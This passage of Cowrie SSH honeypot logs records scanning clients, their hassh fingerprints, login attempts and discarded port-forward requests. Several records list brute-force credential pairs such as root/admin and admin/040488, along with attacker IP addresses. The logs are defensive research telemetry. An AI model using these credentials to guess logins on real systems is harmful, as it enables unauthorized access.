ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:32.067276Z","src_ip":"31.193.137.190","session":"585f057887cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:32.430899Z","src_ip":"31.193.137.190","session":"585f057887cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:33.517307Z","src_ip":"31.193.137.190","session":"585f057887cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.193.137.190","src_port":60142,"dst_ip":"159.203.135.109","dst_port":22,"session":"5659646799f0","protocol":"ssh","message":"New connection: 31.193.137.190:60142 (159.203.135.109:22) [session: 5659646799f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:33.596399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:33.603564Z","src_ip":"31.193.137.190","session":"5659646799f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:33.689228Z","src_ip":"31.193.137.190","session":"5659646799f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:34.174100Z","src_ip":"31.193.137.190","session":"5659646799f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:34.260989Z","src_ip":"31.193.137.190","session":"e081e540692f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:04:34.265951Z","src_ip":"31.193.137.190","session":"5659646799f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":34328,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9f5494b317d","protocol":"ssh","message":"New connection: 80.66.66.10:34328 (10.17.0.5:22) [session: f9f5494b317d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:05.175763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:05.180993Z","src_ip":"80.66.66.10","session":"f9f5494b317d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:05.292779Z","src_ip":"80.66.66.10","session":"f9f5494b317d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:05.633549Z","src_ip":"80.66.66.10","session":"f9f5494b317d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:05.755466Z","session":"f9f5494b317d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:05.871806Z","src_ip":"80.66.66.10","session":"f9f5494b317d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:05.995243Z","src_ip":"80.66.66.10","session":"f9f5494b317d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60988,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a1c2d0086f9","protocol":"ssh","message":"New connection: 2.57.122.208:60988 (159.203.135.109:22) [session: 5a1c2d0086f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:43.753633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:43.777976Z","src_ip":"2.57.122.208","session":"5a1c2d0086f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:43.871447Z","src_ip":"2.57.122.208","session":"5a1c2d0086f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:44.268283Z","src_ip":"2.57.122.208","session":"5a1c2d0086f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":47654,"dst_ip":"10.17.0.5","dst_port":22,"session":"8db83656f35c","protocol":"ssh","message":"New connection: 92.118.39.92:47654 (10.17.0.5:22) [session: 8db83656f35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:44.414320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:44.443949Z","src_ip":"92.118.39.92","session":"8db83656f35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:44.583480Z","src_ip":"92.118.39.92","session":"8db83656f35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dogecoin","password":"dogecoin","message":"login attempt [dogecoin/dogecoin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:44.935055Z","src_ip":"92.118.39.92","session":"8db83656f35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:45.366650Z","src_ip":"2.57.122.208","session":"5a1c2d0086f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:05:46.045704Z","src_ip":"92.118.39.92","session":"8db83656f35c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59306,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a02ebc5fe38","protocol":"ssh","message":"New connection: 2.57.122.210:59306 (10.17.0.5:22) [session: 9a02ebc5fe38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:06:12.056323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:06:12.060515Z","src_ip":"2.57.122.210","session":"9a02ebc5fe38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:06:12.165196Z","src_ip":"2.57.122.210","session":"9a02ebc5fe38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:06:12.493304Z","src_ip":"2.57.122.210","session":"9a02ebc5fe38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:06:13.599812Z","src_ip":"2.57.122.210","session":"9a02ebc5fe38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":39705,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fb1df468870","protocol":"ssh","message":"New connection: 2.57.121.112:39705 (159.203.135.109:22) [session: 9fb1df468870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:29.780828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:29.784903Z","src_ip":"2.57.121.112","session":"9fb1df468870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:29.885578Z","src_ip":"2.57.121.112","session":"9fb1df468870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040488","message":"login attempt [admin/040488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:30.377830Z","src_ip":"2.57.121.112","session":"9fb1df468870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040476","message":"login attempt [admin/040476] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:31.481438Z","src_ip":"2.57.121.112","session":"9fb1df468870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04041996","message":"login attempt [admin/04041996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:32.585706Z","src_ip":"2.57.121.112","session":"9fb1df468870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04041976","message":"login attempt [admin/04041976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:33.689938Z","src_ip":"2.57.121.112","session":"9fb1df468870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04031998","message":"login attempt [admin/04031998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:34.794247Z","src_ip":"2.57.121.112","session":"9fb1df468870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":29614,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a21abfe34e9","protocol":"ssh","message":"New connection: 80.66.66.10:29614 (10.17.0.5:22) [session: 0a21abfe34e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:35.362013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:35.366698Z","src_ip":"80.66.66.10","session":"0a21abfe34e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:35.475986Z","src_ip":"80.66.66.10","session":"0a21abfe34e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:35.803749Z","src_ip":"80.66.66.10","session":"0a21abfe34e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:35.898158Z","src_ip":"2.57.121.112","session":"9fb1df468870","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:35.914272Z","session":"0a21abfe34e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:07:36.025329Z","src_ip":"80.66.66.10","session":"0a21abfe34e9","protocol":"ssh"}
